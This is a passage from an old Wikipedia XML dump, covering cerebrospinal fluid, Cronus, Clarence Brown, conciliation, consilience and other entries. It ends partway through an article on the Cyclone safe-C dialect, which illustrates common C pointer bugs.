The cerebrospinal fluid has many putative roles including mechanical protection of the brain, distribution of [[neuroendocrine]] factors, and facilitation of pulsatile [[cerebral blood flow]]. Understanding cardiovascular dynamics is valuable as the flow pattern of arterial blood must be tightly regulated within the brain in order to assure consistent brain [[oxygenation]]. CSF movement allows arterial expansion and contraction by acting like a spring, which prevents wide changes in intracranial blood flow. When disorders of CSF flow occur, they may therefore impact not only CSF movement, but also the intracranial blood flow, with subsequent neuronal and glial vulnerabilities. The venous system is also important in this equation. Infants and patients shunted as small children may have particularly unexpected relationships between pressure and ventricular size, possibly due in part to venous pressure dynamics. This may have significant treatment implications but the underlying pathophysiology needs to be further explored. 

CSF connections with the [[lymphatic system]] have been demonstrated in several [[mammal]]ian systems. Preliminary data suggest that these CSF-lymph connections form around the time that the CSF secretory capacity of the [[choroid plexus]] is developing (in [[uterus|utero]]). There may be some relationship between CSF disorders, including [[hydrocephalus]] and impaired CSF lymphatic transport.  

==Diagnosis and therapy==

Cerebrospinal fluid can be tested for the diagnosis of a variety of [[neurological disease]]s. Usually, it is obtained by a procedure called [[lumbar puncture]] in an attempt to count the cells in the fluid and to detect the levels of protein and glucose. These parameters alone may be extremely beneficial in the diagnosis of [[central nervous system]] infections (especially [[meningitis]] and [[subarachnoid hemorrhage]]). Moreover, a cerebrospinal fluid [[Microbiological culture|culture]] examination may yield the microorganism that has caused the infection. By using more sophisticated methods, such as the detection of the [[oligoclonal bands]], an ongoing inflammatory condition (for example, [[multiple sclerosis]]) can be recognized. A [[beta-2 transferrin]] assay is highly specific and sensitive for the detection for e.g. cerebrospinal fluid leakage.

Lumbar puncture can also be performed to measure the intracranial pressure, which might be increased in certain types of [[hydrocephalus]].

[[Category:Central nervous system]]
[[Category:Neurology]]

[[da:Cerebrospinalvæske]]
[[de:Liquor cerebrospinalis]]
[[fr:Liquide céphalo-rachidien]]
[[ja:脳脊髄液]]
[[no:Cerebrospinalvæske]]
[[pl:Płyn mózgowo-rdzeniowy]]
[[sl:Likvor]]
[[sv:Cerebrospinalvätska]]</text>
    </revision>
  </page>
  <page>
    <title>Cordial</title>
    <id>7633</id>
    <revision>
      <id>41184140</id>
      <timestamp>2006-02-25T16:51:31Z</timestamp>
      <contributor>
        <username>SilkTork</username>
        <id>782009</id>
      </contributor>
      <text xml:space="preserve">A '''cordial''' is any invigorating and stimulating preparation; as, a peppermint cordial. The term derives from obsolete [[medicine|medical]] usage, as various beverages were concocted which were believed to be beneficial to one's [[health]], especially for the heart (''cordialis'', Latin). 

[[alcoholic beverage|Alcohol]]ic cordials are also known as [[liqueur|liqueurs]].

In the [[United Kingdom]], [[Australia]], and [[New Zealand]] ''cordial'' is an extremely sweet (usually entirely artificial) non-alcoholic fruit flavoured drink concentrate that is mixed with [[water]] to taste. This cordial is said to have some medical properties for stomach problems.  [[Squash (drink)|Squash]] is sometimes called a cordial.

A '''cordial''' is also a type of candy, in which a [[fruit]] filling is placed within a [[chocolate]] shell. A well known confectionery of this type is the cherry cordial.


[[Category:liqueurs]]</text>
    </revision>
  </page>
  <page>
    <title>Cronus</title>
    <id>7634</id>
    <revision>
      <id>41048363</id>
      <timestamp>2006-02-24T18:46:56Z</timestamp>
      <contributor>
        <ip>24.196.50.132</ip>
      </contributor>
      <text xml:space="preserve">:''Cronus is not to be confused with [[Chronos]], the personification of time.  Also see [[Cronus (disambugation)]] for other uses.''

In [[Greek mythology]], '''Cronus''' ([[Ancient Greek]] '''Κρόνος'''&amp;mdash;of obscure etymology, perhaps related to &quot;horned&quot;), pronounced &quot;kroh'-nuhs&quot;, also called '''Cronos''' or '''Kronos''', was the leader and the youngest of the first generation of [[Titan (mythology)|Titans]], divine descendants of [[Gaia (mythology)|Gaia]], the earth, and [[Uranus (mythology)|Uranus]], the sky. He overthrew his father, Uranus, and ruled during the mythological [[golden age|Golden Age]], until he was overthrown by his own son, [[Zeus]], and imprisoned in the depths of the underworld, [[Tartarus]].

As a result of his association with the bountiful and virtuous Golden Age, Cronus was worshiped as a [[harvest]] deity, overseeing crops such as corn and grains, and nature, agriculture, and the progression of time in relation to humans in general. He was usually depicted with a [[sickle]], which he used to harvest crops and which was also the weapon he used to castrate and depose Uranus. In [[Athens, Greece|Athens]], on the twelfth day of every month ([[Attic calendar|Hekatombaion]]), a festival called [[Kronia]] was held in honor of Cronus to celebrate the harvest. Cronus was also identified in [[classical antiquity]] with the [[Roman mythology|Roman deity]] [[Saturn (mythology)|Saturn]].

==In Greek mythology and early myths==
In ancient Greek myths, Cronus envied the power of his father and the ruler of the universe, [[ Uranus (mythology)|Uranus]]. Uranus drew the enmity of Cronus' mother, [[Gaia (mythology)|Gaia]], when he hid the gigantic youngest children of Gaia, the hundred-armed [[Hecatonchires]] and one-eyed [[Cyclops|Cyclopes]], in [[Tartarus]], so that they would not see the light. Gaia created a great [[sickle]] and gathered together Cronus and his brothers to ask them to kill Uranus. Only Cronus was willing to do the deed, so Gaia gave him the sickle and placed him in ambush. When Uranus met with Gaia Cronus attacked Uranus with the sickle, [[castration|castrating]] him and casting the severed member into the sea. From the blood (or, by a few accounts, [[semen]]) that spilled out from Uranus and fell upon the earth, the [[Gigantes]], [[Erinyes]], and [[Meliae]] were produced. From the member that was cast into the sea, [[Aphrodite]] later emerged. For this, Uranus threatened vengeance and called his sons ''titenes'' (&quot;straining ones&quot;) for overstepping their boundaries and daring to commit such an act, and this is the source of the name ''Titan''.

In an alternate version of this myth, a more benevolent Cronus overthrew the wicked serpentine Titan [[Ophion]]. In doing so, he released the world from bondage and for a time ruled it justly.

After dispatching Uranus, Cronus re-imprisoned the [[Hecatonchires]], the [[Gigantes]], and the [[Cyclops|Cyclopes]] and set the dragon [[Campe]] to guard them. He and [[Rhea (mythology)|Rhea]] took the throne of the world as King and Queen. This period of Cronus' rule was called the [[golden age|Golden Age]], as the people of the time had no need for laws or rules; everyone did the right thing, and immorality was absent.

[[Image:Goya - Saturno devorando a su hijo.jpg|thumb|200px|''[[Saturn (mythology)|Saturn]] Devours His Children'', [[Francisco Goya]], c. 1815.]]

Cronus learned from Gaia and Uranus that he was destined to be overcome by his own son, just as he had overthrown his father. As a result, although he sired the gods [[Demeter]], [[Hera]], [[Hades]], [[Hestia]], and [[Poseidon]] by Rhea, he swallowed them all as soon as they were born to preempt the prophecy. Finally, when a sixth child, [[Zeus]], was about to be born, Rhea sought Gaia to devise a plan to save Zeus and to eventually get retribution on Cronus for his acts against his father and children. Rhea secretly gave birth to Zeus in [[Crete]], and handed Cronus a stone wrapped in swaddling clothes, also known as the [[Omphalos]] Stone, which he promptly swallowed, thinking that it is his son.

Rhea kept Zeus hidden in a cave on [[Mount Ida, Crete]]. According to some versions of the story, he was then raised by a goat named [[Amalthea (mythology)|Amalthea]], while a company of [[Korybantes|Kouretes]], armored male dancers, shouted and clapped their hands to make enough noise to mask the baby's cries from Cronus. Other versions of the myth have Zeus raised by the nymph [[Adamanthea]], who hid Zeus by dangling him by a rope from a tree so that he was suspended between the earth, the sea, and the sky, all of which were ruled by his father, Cronus. Still other versions of the tale say that Zeus was raised by his grandmother, Gaia.

Once he had grown up, Zeus used a potion given to him by Gaia to force Cronus to [[vomiting|vomit]] up the contents of his stomach in reverse order: first the stone, which was set down at Pytho under the glens of [[Mount Parnassus]] to be a sign to mortal men, then his two brothers and three sisters. In other versions of the tale, [[Metis (mythology)|Metis]] gave Cronus an [[vomit|emetic]] to force him to disgorge the children, or Zeus cut Cronus' stomach open. After freeing his siblings, Zeus released the Gigantes, the Hecatonchires, and the Cyclopes, who forged for him his thunderbolts. In a vast war called the [[Titanomachy]], Zeus and his brothers and sisters, with the help of the Gigantes, Hecatonchires, and Cyclopes, overthrew Cronus and the other Titans. Cronus and the Titans were confined in [[Tartarus]]. Ironically, Zeus also imprisoned the Hecatonchires and the Cyclopes there as well, just as his father and grandfather had; as a result, Gaia sired the monster [[Typhon]] to claim revenge, though Zeus was victorious.

Other children Cronus is reputed to have had include [[Chiron]], by [[Philyra]], and [[Eris]], by [[Nyx]].

An earlier version of Cronus, from before worship of Zeus became popular, is considered to be connected to the [[Semitic]] deity [[Baal|Ba`al Hammon]]. The baby-eating myth of Cronos is considered to derive from such early religions, as Ba`al Hammon was sometimes worshipped by [[Moloch]], child sacrifice by burning within a statue of Ba`al Hammon.

==In Roman mythology and later culture==
{{main|Saturn (mythology)}}

While the Greeks considered Cronus a force of chaos and disorder, believing that the Olympian gods had brought an era of peace and order by seizing power from the crude and malicious Titans, the Romans had a more positive view of the deity. Although the Roman deity [[Saturn]] was conflated heavily with Cronus, the Romans favored Saturn much more than the Greeks did Cronus. While Cronus was considered a cruel and tempestuous deity to the Greeks, his nature under Roman influence became more innocuous, with his association with the Golden Age eventually causing him to become the god of &quot;human time&quot;, i.e., calendars, seasons, and harvests&amp;mdash;not to be confused with [[Chronos]], the unrelated embodiment of time in general. While the Greeks largely neglected Cronus, considering him a mere intermediary stage between Uranus and Zeus, he was a larger aspect of Roman mythology and [[Roman religion|religion]]; [[Saturnalia]] was a festival dedicated in his honor, and at least one [[Temple of Saturn|temple to Saturn]] existed in the early [[Roman Kingdom]].

As a result of Cronus' importance to the Romans, his Roman variant, Saturn, has had a large influence on [[Western culture]]. In accordance with the Near Eastern tradition, the seventh day of the Judaeo-Christian week was also called in [[Latin]] ''Dies Saturni'' (&quot;Day of Saturn&quot;), which in turn degraded to the [[English language|English]] ''[[Saturday]]''. In [[astronomy]], the planet [[Saturn (planet)|Saturn]] is called so because of Roman influence. It was considered the seventh and outermost of the [[seven heavenly objects]] that are visible with the naked eye.

==In Neopaganism==
{{Greek myth (Titan)}}

Modern [[Neopaganism|Neopagans]] have a rather [[New Age]] view of Cronus. In particular, [[Hellenistic civilization|Hellenistic]] Neopagan [[sect]]s in the United States hold many metaphoric interpretations of the myths regarding Cronus. Sometimes called the &quot;All Consumer&quot;, in many ways Cronus is similar to Christian myths regarding [[Satan]], though the similarity of the Roman name &quot;Saturn&quot; is a coincidence. In accordance with the Greek mythological traditions, Cronus is believed by many to be a cruel and malevolent god that feeds on dominance and subjugation.

Cronus is often believed to be a great and terrible Titan imprisoned in [[Tartarus]], which is envisioned as a place of eternal torment in many ways similar to [[Hell]]. Cronus is typically seen as a horrible tyrant god, and believed to force those cast into Tartarus into prostration before him as they are tormented by Erinyes, Cyclopes, and various other enties, comparable to the role of Judaeo-Christian [[demon]]s. New Age Neopagan artistic representations of Cronus often depict him as having horns like a [[sheep|ram]], derived both from the comparisons to Satan (and thus originally from [[Pan (mythology)|Pan]] and from the obscure etymology where ''Cronus'' is believed to mean &quot;Horned One&quot;.

==In popular culture==
In the real-time strategy computer game [[Age of Mythology]], Cronus&amp;mdash;who is called Kronos within the game&amp;mdash;is equivocated with [[Chronos]], the personification of time in Greek mythology. While Cronus was often seen as a god of agriculture to the Greeks, Kronos in the game is the Titan of [[Time]]. He is also seen as more of a demonic figure than in traditional Greek mythology. He plays a villain role.

In the action adventure computer game [[God of War]], Cronus&amp;mdash;who like above is also called Kronos&amp;mdash;is the last living titan who was made to carry the mountain which held the The Temple of Pandora on his back. It is said that Kronos died after one thousand years of wandering the desert sands of Greece with the mountain chained to him.

==References==
{{commons|Kronos}}
* [[Hesiod]]: the ''[[Theogony]]'', [[Hesiod#Works_and_Days|Works and Days]].

[[Category:Greek gods]][[Category:Titans]]

[[ast:Cronos]]
[[bg:Хронос]]
[[ca:Cronos]]
[[cs:Kronos]]
[[da:Kronos]]
[[de:Kronos]]
[[es:Crono]]
[[eo:Krono (dio)]]
[[eu:Kronos]]
[[fr:Cronos]]
[[it:Crono]]
[[he:כרונוס]]
[[lt:Kronas]]
[[nl:Kronos]]
[[ja:クロノス]]
[[nn:Kronos]]
[[pl:Kronos]]
[[pt:Cronos]]
[[ru:Кронос]]
[[sl:Kronos]]
[[sr:Хрон]]
[[fi:Kronos]]
[[sv:Kronos]]
[[uk:Хронос]]
[[zh:克洛诺斯]]</text>
    </revision>
  </page>
  <page>
    <title>Charles F. Hockett</title>
    <id>7635</id>
    <revision>
      <id>41613533</id>
      <timestamp>2006-02-28T14:50:12Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <comment>I assume it was Charles Hockett who developed those ideas, not Leonard Bloomfield. Watch out for these ambiguities!</comment>
      <text xml:space="preserve">'''Charles F. Hockett''' ([[January 17]], [[1916]] - [[November 3]], [[2000]]) was an important [[United States|American]] [[linguistics|linguistic]] theorist who developed many influential ideas of American [[structuralism#Structuralism in linguistics|structuralism]], and a student of [[Leonard Bloomfield]].

Born in [[Columbus, Ohio]], he received a joint B.A. and M.A. from [[Ohio State University]] in [[1936]]. In [[1939]], he received his doctorate from [[Yale University]].

He represents the post-Bloomfieldian phase of structuralism: the distributionalism or taxonomic structuralism. In his &quot;Note on Structure&quot; he argues that linguistics can be seen as a game and as a science. A linguist as player has a freedom for experimentation on all the utterances of a language, but no criterion to compare his analysis with other linguists'. A linguist as scientist classifies given utterances and is able not only to analize, but also to predict other utterances of a language. The accuracy of such a prediction allows to judge about the merits of the analysis.

== References ==
Gair, James W. 2003. [Obituary] Charles F. Hockett. ''Language''. 79:600-613.

== External links ==
* [http://specgram.com/JLSSCNC.I.2/02.whitcomb.hockett.html Old Professor Hockett]: A poem written in honor of Professor Hockett by one of his students during his 1991 visit to Rice University. Provides an informal view of a great man.


{{US-academic-bio-stub}}
{{linguist-stub}}

[[Category:1916 births|Hockett, Charles F.]]
[[Category:2000 deaths|Hockett, Charles F.]]
[[Category:American linguists|Hockett, Charles F.]]</text>
    </revision>
  </page>
  <page>
    <title>Consilience</title>
    <id>7638</id>
    <revision>
      <id>36090336</id>
      <timestamp>2006-01-21T14:47:16Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] delete duplicate word &quot;other&quot;.</comment>
      <text xml:space="preserve">'''Consilience''', or the unity of knowledge (literally a &quot;jumping together&quot; of knowledge), has its roots in the ancient [[Greek philosophy|Greek concept]] of an intrinsic orderliness that governs our cosmos, inherently comprehensible by logical process, a vision at odds with mystical views in many cultures that surrounded the Hellenes. The rational view was recovered during the high Middle Ages, separated from theology during the [[Renaissance]] and found its apogee in the Age of [[The Age of Enlightenment|Enlightenment]]. Then, with the rise of the modern sciences, the sense of unity gradually was lost in the increasing fragmentation and specialization of knowledge in the last two centuries. The converse of consilience is [[Reductionism]].

The word ''consilience'' was apparently coined by [[William Whewell]], in ''The Philosophy of the Inductive Sciences,''  [[1840]].  In this synthesis Whewell explained that, &quot;The Consilience of Inductions takes place when an [[inductive reasoning|Induction]], obtained from one class of facts, coincides with an Induction obtained from another different class.  Thus Consilience is a test of the truth of the Theory in which it occurs.&quot;  The [[Scientific method]] has become almost universally accepted as the exclusive method for testing the status of any scientific hypothesis or theory.  &quot;Inductions&quot; which arise out of applications of the scientific method are, by definition, the only accepted indicators of consilience.

Modern views understand that each branch of knowledge studies a subset of reality that depends on factors studied in other branches. Atomic physics underlies the workings of chemistry, which studies emergent properties that in turn are the basis of biology. Psychology can no longer be separated from the study of properties emergent from the interaction of neurons and synapses.   Sociology, economics, and anthropology are each, in turn, studies of properties emergent from the interaction of countless individual humans. Their limits have constrained history.

The word had remained shelved until the end of the 20th century, when it was vividly revived in ''[[Consilience: The Unity of Knowledge]],'' a [[1998]] book by the humanist biologist [[Edward Osborne Wilson]], as an attempt to bridge the culture gap between the sciences and the humanities that was the subject of [[C. P. Snow]]'s ''[[The Two Cultures and the Scientific Revolution]]'', 1959.  Wilson's assertion was that the sciences, humanities, and arts have a common goal: to give a purpose to understanding the details, to lend to all inquirers &quot;a conviction, far deeper than a mere working proposition, that the world is orderly and can be explained by a small number of natural laws.&quot; This is the essence of consilience.

The idea of consilience informs contemporary studies in complex adaptive systems, as being presented in a [http://www.princeton.edu/~complex/site/Princeton seminar] (see links).

A parallel view lies in the term [[universology]], which literally means &quot;the science of the universe.&quot; Universology was first advocated for the study of the interconnecting principles and truths of all domains of knowledge by [[Stephen Pearl Andrews]], a 19th century utopian futurist and anarchist. Compare the concept of [[Holism]].

==External links==
*[http://www.princeton.edu/~complex/site/ Princeton seminar: &quot;Consilience: Case Studies in Complex Adaptive Systems&quot;]

*[http://www.cslproductions.com/ Consilience Productions: &quot;dialogue BEYOND music - Progressive Music For The Socially Curious&quot;]

[[Category:Philosophy of science]]</text>
    </revision>
  </page>
  <page>
    <title>Catharism</title>
    <id>7641</id>
    <revision>
      <id>15905701</id>
      <timestamp>2003-10-16T00:00:11Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Cathar]]</text>
    </revision>
  </page>
  <page>
    <title>Clarence Brown</title>
    <id>7642</id>
    <revision>
      <id>40480397</id>
      <timestamp>2006-02-20T21:53:45Z</timestamp>
      <contributor>
        <username>Allissonn</username>
        <id>66038</id>
      </contributor>
      <minor />
      <comment>/* Filmography */</comment>
      <text xml:space="preserve">: ''For other people named Clarence Brown, see [[Clarence Brown (Disambiguation)]].''


'''Clarence Brown''' ([[May 10]], [[1890]] &amp;ndash; [[August 17]], [[1987]]) was an [[United States|American]] [[film director]].

==Biography==
Born in [[Clinton, Massachusetts]]. Brown was educated as an [[engineer]] at the [[University of Tennessee]] before coming into the [[film]] industry as an assistant to [[Maurice Tourneur]]. He worked with Tourneur for seven years and they co-directed two of Brown's first three films. Brown moved to Universal in 1924 and then to [[MGM]], where he stayed until the mid-[[1940s]]. At MGM he was one of the main director of their female stars &amp;ndash; he directed [[Joan Crawford]] five times and [[Greta Garbo]] five times as well.

He worked across the introduction of sound and continued to use the [[silent film]]s visual techniques throughout his career; he did not work particularly well with dialogue. His works can be regarded as considerate and atmospheric, but too often were conventional, placid and slow.  Nevertheless, he was nominated seven times for an [[Academy Award]] (six times as a director, once as a [[film producer|producer]]) but never received the Oscar.

The Clarence Brown Theater, on the campus of the [[University of Tennessee]], is named in his honor.

==Filmography==
:''The Last of the Mohicans'' (1920)
:''The Great Redeemer'' (1920)
:''The Foolish Matrons'' (1921)
:''The Light in the Dark'' (1922)
:''Don't Marry for Money'' (1923)
:''The Acquittal'' (1923)
:''The Signal Tower'' (1924)
:''Butterfly'' (1924)
:''[[The Eagle]]'' (1925)
:''The Goose Woman'' (1925)
:''Smouldering Fires'' (1925)
:''Flesh and the Devil'' (1926)
:''Kiki'' (1926)
:''A Woman of Affairs'' (1928)
:''The Trail of '98'' (1929)
:''Navy Blues'' (1929)
:''Wonder of Women'' (1929)
:''[[Anna Christie]]'' (1930) - Academy Award Nomination for best director.
:''[[Romance (1930 film)|Romance]]'' (1930) - Academy Award Nomination for best director.
:''Inspiration'' (1931)
:''Possessed'' (1931)
:''[[A Free Soul]]'' (1931) - Academy Award Nomination for best director.
:''[[Emma (1932 film)|Emma]]'' (1932)
:''Letty Lynton'' (1932)
:''The Son-Daughter'' (1932)
:''Looking Forward'' (1933)
:''Night Flight'' (1933)
:''[[Sadie McKee]]'' (1934)
:''Chained'' (1934)
:''Ah, Wilderness!'' (1935)
:''[[Anna Karenina]]'' (1935)
:''[[Wife vs. Secretary]]'' (1935)
:''The Gorgeous Hussy'' (1936)
:''Conquest'' (1938)
:''Of Human Hearts'' (1938)
:''Idiot's Delight'' (1939)
:''The Rains Came'' (1939)
:''Edison, the Man'' (1940)
:''Come Live with Me'' (1941)
:''They Met in Bombay'' (1941)
:''[[The Human Comedy]]'' (1943) - Academy Award Nominations for best director and best picture.
:''[[The White Cliffs of Dover (1944 film)|The White Cliffs of Dover]]'' (1944)
:''[[National Velvet]]'' (1944) - Academy Award Nomination for best director.
:''[[The Yearling]]'' (1946) - Academy Award Nomination for best director.
:''Song of Love'' (1947)
:''Intruder in the Dust'' (1949)
:''To Please a Lady'' (1950)
:''Angels in the Outfield'' (1951):
:''When in Rome'' (1952)
:''Plymouth Adventure'' (1952).

==External links==
[http://www.imdb.com/name/nm0113284 Clarence Brown at IMDb.com]

[[Category:1890 births|Brown, Clarence]]
[[Category:1987 deaths|Brown, Clarence]]
[[Category:American film directors|Brown, Clarence]]

[[de:Clarence Brown]]
[[fr:Clarence Brown]]</text>
    </revision>
  </page>
  <page>
    <title>Conciliation</title>
    <id>7643</id>
    <revision>
      <id>38071905</id>
      <timestamp>2006-02-03T23:53:53Z</timestamp>
      <contributor>
        <ip>64.45.162.34</ip>
      </contributor>
      <text xml:space="preserve">'''Conciliation''' is an [[alternative dispute resolution]] process whereby the parties to a dispute (including future interest disputes) agree to utilize the services of a conciliator, who then meets with the parties separately in an attempt to resolve their differences.  Conciliation differs from [[arbitration]] in that the conciliation process, in and of itself, has no legal standing, and the conciliator usually has no authority to seek evidence or call witnesses, usually writes no decision, and makes no award. Conciliation differs from [[mediation]] in that the main goal is to conciliate, most of the time by seeking concessions. In mediation, the mediator tries to guide the discussion in a way that optimizes parties needs, takes feelings into account and reframes representations. 

In conciliation the parties seldom, if ever, actually face each other across the table in the presence of the conciliator. (This latter difference ''can'' be regarded as one of species to genus. Most practicing mediators refer to the practice of meeting with the parties separately as &quot;caucusing&quot; and would regard conciliation as a specific type or form of mediation practice -- &quot;[[shuttle diplomacy]]&quot; -- that relies on exclusively on caucusing. All the other features of conciliation are found in mediation as well.)

If the conciliator is successful in negotiating an understanding between the parties, said understanding is almost always committed to writing (usually with the assistance of legal counsel) and signed by the parties, at which time it becomes a legally binding contract and falls under contract law. 

Recent studies in the processes of [[negotiation]] have indicated the effectiveness of a technique which deserves mention here.  A conciliator assists each of the parties to independently develop a list of all of their objectives (the outcomes which they desire to obtain from the conciliation).  The conciliator then has each of the parties separately prioritize their own list from most to least important.  She then goes back and forth between the parties and encourages them to &quot;give&quot; on the objectives one at a time, starting with the least important and working toward the most important for each party in turn.  The parties rarely place the same priorities on all objectives, and usually have some objectives which are not on the list compiled by parties on the other side. Thus the conciliator can quickly build a string of successes and help the parties create an atmosphere of trust which the conciliator can continue to develop.

Most successful conciliators are highly skilled negotiators. Some conciliators operate under the auspices of any one of several non-governmental entities, and for governmental agencies such as the [[Federal Mediation and Conciliation Service]].  

==See also==
* [[dispute resolution]]

==External links==
* [http://www.PeaceForge.org PeaceForge.org] - wiki dedicated to best practices in peace and conflict resolution
* [http://www.arbitrator.com Arbitrator.com:  Information about various forms of dispute resolution.]

[[Category:Dispute resolution]]
[[nl:Conciliatie]]</text>
    </revision>
  </page>
  <page>
    <title>Colin Fulcher</title>
    <id>7644</id>
    <revision>
      <id>15905704</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Barney Bubbles]]
</text>
    </revision>
  </page>
  <page>
    <title>Cyclone programming language</title>
    <id>7645</id>
    <revision>
      <id>35834113</id>
      <timestamp>2006-01-19T17:33:16Z</timestamp>
      <contributor>
        <username>Quadell</username>
        <id>57108</id>
      </contributor>
      <minor />
      <comment>disambiguate link [[gcc]]</comment>
      <text xml:space="preserve">The '''Cyclone''' [[programming language]] is intended to be a safe dialect of the [[C programming language]]. Cyclone is designed to avoid [[buffer overflow]]s and other vulnerabilities that are endemic in C programs, without losing the power and convenience of C as a tool for [[systems programming]].

Cyclone was jointly developed by [[Greg Morrisett]]'s group at [[Cornell University]] and [[AT and T Labs Research|AT&amp;T Labs Research]] in the early 2000s. It received a certain amount of publicity in November 2001. As of June 15, 2004, the Cyclone compiler stands at version 0.8.1.

== Language features ==
Cyclone attempts to avoid some of the common pitfalls of the [[C programming language]], while still maintaining the look and performance of C. To this end, Cyclone places the following restrictions upon programs:
* &lt;code&gt;[[NULL]]&lt;/code&gt; checks are inserted to prevent [[segmentation fault]]s
* [[Pointer arithmetic]] is restricted
* Pointers must be initialized before use
* [[Dangling pointer]]s are prevented through region analysis and limitations on [[Malloc|&lt;code&gt;free()&lt;/code&gt;]]
* Only &quot;safe&quot; casts and unions are allowed
* [[Control flow | &lt;code&gt;goto&lt;/code&gt;]] into scopes is disallowed
* [[Control flow | &lt;code&gt;switch&lt;/code&gt;]] labels in different scopes are disallowed
* Pointer-returning functions must execute &lt;code&gt;return&lt;/code&gt;
* [[Setjmp/longjmp|&lt;code&gt;setjmp&lt;/code&gt; and &lt;code&gt;longjmp&lt;/code&gt;]] are not supported

In order to maintain the tool set that C programmers are used to, Cyclone provides the following extensions:
* '''Never-&lt;code&gt;NULL&lt;/code&gt; pointers''' do not require &lt;code&gt;NULL&lt;/code&gt; checks
* '''&quot;Fat&quot; pointers''' support pointer arithmetic with run-time [[bounds checking]]
* '''Growable regions''' support a form of safe manual memory management
* '''[[Garbage collection (computer science)|Garbage collection]]''' for heap-allocated values
* '''[[Tagged union]]s''' support type-varying arguments
* '''Injections''' help automate the use of tagged unions for programmers
* '''[[Polymorphism (computer science)|Polymorphism]]''' replaces some uses of [[void pointer|&lt;code&gt;void *&lt;/code&gt;]]
* '''varargs''' are implemented as fat pointers
* '''[[Exception handling|Exceptions]]''' replace some uses of &lt;code&gt;setjmp&lt;/code&gt; and &lt;code&gt;longjmp&lt;/code&gt;

For a better high-level introduction to Cyclone, the reasoning behind Cyclone and the source of these lists, please see [http://www.research.att.com/projects/cyclone/papers/cyclone-safety.pdf].

Although Cyclone looks, in general, much like [[C programming language|C]], it should be thought of as a [[:Category:C dialects|C-like language]]. With that, let us look at more features of the language, in depth.

===Pointer/reference types===
Cyclone implements three kinds of [[reference]] (following C terminology these are called pointers):
* &lt;code&gt;*&lt;/code&gt; (the normal type)
* &lt;code&gt;@&lt;/code&gt; (the never-&lt;code&gt;NULL&lt;/code&gt; pointer), and
* &lt;code&gt;?&lt;/code&gt; (the only type with [[pointer arithmetic]] allowed, &quot;fat&quot; pointers).
The purpose of introducing these new pointer types is to avoid common problems when using pointers. Take for instance a function, called &lt;code&gt;foo&lt;/code&gt; that takes a pointer to an int:

 int foo(int *);

Although the person who wrote the function &lt;code&gt;foo&lt;/code&gt; could have inserted &lt;code&gt;NULL&lt;/code&gt; checks, let us assume that for performance reasons they did not. Calling &lt;code&gt;foo(NULL);&lt;/code&gt; will result in [[undefined behavior]] (typically, although not necessarily, a '''SIGSEGV''' being sent to the application). To avoid such problems, Cyclone introduces the &lt;code&gt;@&lt;/code&gt; pointer type, which can never be &lt;code&gt;NULL&lt;/code&gt;. Thus, the &quot;safe&quot; version of &lt;code&gt;foo&lt;/code&gt; would be:

 int foo(int @);

This tells the Cyclone compiler that the argument to &lt;code&gt;foo&lt;/code&gt; should never be &lt;code&gt;NULL&lt;/code&gt;, avoiding the aforementioned undefined behavior. The simple change of &lt;code&gt;*&lt;/code&gt; to &lt;code&gt;@&lt;/code&gt; saves the programmer from having to write &lt;code&gt;NULL&lt;/code&gt; checks and the operating system from having to trap &lt;code&gt;NULL&lt;/code&gt; pointer dereferences.  This extra restriction, however, can be a rather large stumbling block for most C programmers, who are used to being able to manipulate their pointers directly with arithmetic. Although this is desirable, it can lead to [[buffer overflow]]s and other &quot;off-by-one&quot;-style mistakes. To avoid this, the &lt;code&gt;?&lt;/code&gt; pointer type is delimited by a known bound, the size of the array. Although this adds overhead due to the extra information stored about the pointer, it improves safety and security. Take for instance a simple (and naïve) &lt;code&gt;strlen&lt;/code&gt; function, written in C:

 int strlen(const char *s)
 {
     int iter = 0;
     if (s == NULL) return 0;
     while (s[iter] != '\0') {
        iter++;
     }
     return iter;
 }

This function assumes that the string being passed in is terminated by NUL (&lt;code&gt;'\0'&lt;/code&gt;). However, what would happen if &lt;code&gt;char&amp;nbsp;buf[]&amp;nbsp;=&amp;nbsp;{'h','e','l','l','o','!'};&lt;/code&gt; were passed to this string? This is perfectly legal in C, yet would cause &lt;code&gt;strlen&lt;/code&gt; to iterate through memory not necessarily associated with the string &lt;code&gt;s&lt;/code&gt;. There are functions, such as &lt;code&gt;strnlen&lt;/code&gt; which can be used to avoid such problems, but these functions are not standard with every implementation of [[ANSI C]]. The Cyclone version of &lt;code&gt;strlen&lt;/code&gt; is not so different from the C version:

 int strlen(const char ? s)
 {
    int iter, n = s.size;
    if (s == NULL) return 0;
    for (iter = 0; iter &lt; n; iter++, s++) {
       if (*s == '\0') return iter;
    }
    return n;
 }

Here, &lt;code&gt;strlen&lt;/code&gt; bounds itself by the length of the array passed to it, thus not going over the actual length. Each of the kinds of pointer type can be safely cast to each of the others, and arrays and strings are automagically cast to &lt;code&gt;?&lt;/code&gt; by the compiler. (Casting from &lt;code&gt;?&lt;/code&gt; to &lt;code&gt;*&lt;/code&gt; invokes a [[bounds checking|bounds check]], and casting from &lt;code&gt;?&lt;/code&gt; to &lt;code&gt;@&lt;/code&gt; invokes both a &lt;code&gt;NULL&lt;/code&gt; check and a bounds check. Casting from &lt;code&gt;*&lt;/code&gt; or &lt;code&gt;@&lt;/code&gt; results in no checks whatsoever; the resulting &lt;code&gt;?&lt;/code&gt; pointer has a size of 1.)

===Dangling pointers and region analysis===
Consider the following code, in C:

 char *itoa(int i)
 {
    char buf[20];
    sprintf(buf,&quot;%d&quot;,i);
    return buf;
 }

This returns an object that is allocated on the stack of the function &lt;code&gt;itoa&lt;/code&gt;, which is not available after the function returns. While [[GNU Compiler Collection|gcc]] and other compilers will warn about such code, this will typically compile without warnings:

 char *itoa(int i)
 {
    char buf[20], *z;
    sprintf(buf,&quot;%d&quot;,i);
    z = buf;
    return z;
 }

